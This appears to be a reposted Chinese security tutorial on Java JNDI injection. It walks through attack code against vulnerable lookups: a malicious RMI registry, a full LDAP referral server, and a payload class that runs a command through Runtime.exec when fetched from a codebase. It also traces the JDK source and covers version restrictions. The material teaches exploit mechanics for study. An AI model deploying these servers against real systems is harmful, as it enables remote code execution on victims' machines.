Java反序列化(之)JNDI注入

Java反序列化(之)JNDI注入,第1张

Java反序列化(之)JNDI注入 前言

为了学fastjson也是煞费苦心,害。感觉参考中文章讲的很容易去理解,文章大部分都参考它的。如果文章大部分很难理解就先看看RMI反序列化的文章

JNDI

Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。

代码格式如下

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

例如:RMI格式如下:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI注入

JNDI注入就是当上文代码中jndiName这个变量可控,会导致远程加载攻击者的恶意class文件。导致远程代码执行。

JNDI_RMI注入

先试用POC进行验证

服务端(攻击者部署)代码如下

package com.darkerbox.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }
}

小知识:
为什么要new ReferenceWrapper(aa),是因为Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
摘自:https://www.cnblogs.com/nice0e3/p/13958047.html#initialcontext%E7%B1%BB

客户端(受害者)代码如下

package com.darkerbox.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

ExecTest.java(攻击者部署)

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
    public ExecTest() throws IOException,InterruptedException{
        String cmd="whoami";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

编译ExecTest为class文件

javac ExecTest.java
python3 -m http.server 8089


需要注意的点

把ExecTest.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
ExecTest.java文件不能申明包名,即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
java版本小于1.8u191。之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。后面会提到。

然后先运行服务端,

再运行客户端。

可以看到客户端成功的访问了恶意类文件并执行。

JNDI_RMI分析

在客户端代码的ctx.lookup(uri);行设置断点。开启调试。跟踪lookup方法

getURLOrDefaultInitCtx(name)通过name获取到协议头,返回Context对象的子类rmiURLContext对象。然后调用rmiURLContext的lookup方法。跟进该方法。


91行获取RMI注册中心相关数据(var2)
92行获取到了注册中心对象(var3)。
96行去注册中心对象(var3)调用lookup查找,传入了参数aa。
跟进lookup方法

var1就是刚刚传入过来的对象。这里会进入else分支,93行代码即RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息。

跟进decodeObject方法。
跟进后代码如下(后面的限制章节会看到高版本的jdk下的decodeObject,记住这个旧版的decodeObject方法。)

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            // 这里就是重点了,我们此时看一下服务端的代码,会发现我们绑定的是Reference对象。
            // 这里会判断var1是否是Reference对象,如果是会调用var1.getReference方法。该方法会与RMI服务器进行一次连接,获取到远程class文件地址。
            //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            // 跟进getObjectInstance方法。
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }

跟进getObjectInstance方法。

    public static Object
        getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable environment)
        throws Exception
    {

		// 省略...

        Reference ref = null;
        // 如果refInfo是Reference对象,则赋值给ref。
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;
		// 此时ref不为Null。
        if (ref != null) {
        	// 获取到函数名 ExecTest
            String f = ref.getFactoryClassName();
            if (f != null) {
            	//任意命令执行点1(构造函数、静态代码),跟进getObjectFactoryFromReference
                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    //任意命令执行点2(覆写getObjectInstance),
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                return refInfo;

            } else {
                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }
        answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
        return (answer != null) ? answer : refInfo;
    }

跟进getObjectFactoryFromReference方法

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class clas = null;

        // 当前classLoader加载类文件
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // 如果类找不到,使用codebase再次尝试
        String codebase;
        // 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8089/
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
            	//从我们放置恶意class文件的web服务器中获取class文件
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }
		// 实例化恶意类class文件。
        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

实例化会调用构造方法和静态代码块。上面就是调用了构造方法完成代码执行。

但是可以注意到之前执行任意命令成功,但是报错退出了,因为在实例化恶意类的时候(ObjectFactory) clas.newInstance(),强转为ObjectFactory所以报错退出了,

所以我们只要实现这个ObjectFactory接口就好了。之后会在任意命令执行点2调用getObjectInstance方法。所以我们将恶意代码写到getObjectInstance即可

修改ExecTest.java文件

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;

public class ExecTest implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {
        try{
			String cmd="whoami";
			final Process process = Runtime.getRuntime().exec(cmd);
			printMessage(process.getInputStream());;
			printMessage(process.getErrorStream());
			int value=process.waitFor();
			System.out.println(value);
		}catch(Exception e){
		}
		
        return null;
    }


    public ExecTest() {
        try{
			String cmd="whoami";
			final Process process = Runtime.getRuntime().exec(cmd);
			printMessage(process.getInputStream());;
			printMessage(process.getErrorStream());
			int value=process.waitFor();
			System.out.println(value);
		}catch(Exception e){
		}
    }
	
	private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

发现成功执行了两次,说明构造方法和getObjectInstance方法都成功执行且无报错。

JNDI_LDAP注入

之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。之后细说。

这里主要贴一下LDAP的服务端代码。客户端只需要改为ldap://即可。
需要添加依赖


    com.unboundid
    unboundid-ldapsdk
    3.1.1

package com.darkerbox.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_base = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8089/#ExecTest"};
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getbaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodebase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

其他的 *** 作都和RMI相同了。

限制

JDNI注入加载动态类原理是通过JNDI Reference远程加载Object Factory类,(使用的不是RMI Class Loading,而是URLClassLoader)。

所以JNDI_RMI不受RMI动态加载恶意类的系统属性的限制。具有更多的利用空间

RMI动态加载恶意类限制:
java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseonly=false

虽然不受该限制,但是JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

JNDI_RMI限制的细节如下:
高版本的jdk中decodeObject方法如下

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        Reference var8 = null;
        if (var3 instanceof Reference) {
            var8 = (Reference)var3;
        } else if (var3 instanceof Referenceable) {
            var8 = ((Referenceable)((Referenceable)var3)).getReference();
        }
		// 高版本的JDK在这里多了一个if判断。当判断为false,才会进入getObjectInstance方法。
		// var8即我们在服务端定义的Reference。如果成功获取到,则不会null。
		// getFactoryClassLocation会返回需要去远程加载类的路径,即http://127.0.0.1:8089/
		// trustURLCodebase常为false,则!trustURLCodebase常为true

		// 所以高版本下JDK不能利用的主要原因是添加了trustURLCodebase限制,虽然!trustURLCodebase常为true,但是var8.getFactoryClassLocation()会成功获取到http://127.0.0.1:8089/,则为true,则进入if判断,抛出异常。
		// 我们只要在服务端代码new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/");中将http://127.0.0.1:8089/修改为null,即可使判断为false。进入else。但如果这样做。也就导致无法远程加载恶意类文件。
        if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
            throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        } else {
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
        }
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

但是除了RMI,还可以使用LDAP。

LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
但是在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

如何绕过高版本限制就另起一文了

参考文章

https://xz.aliyun.com/t/6633#toc-0
https://www.cnblogs.com/nice0e3/p/13958047.html#jndi%E6%B3%A8%E5%85%A5ldap%E5%AE%9E%E7%8E%B0%E6%94%BB%E5%87%BB

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5685868.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存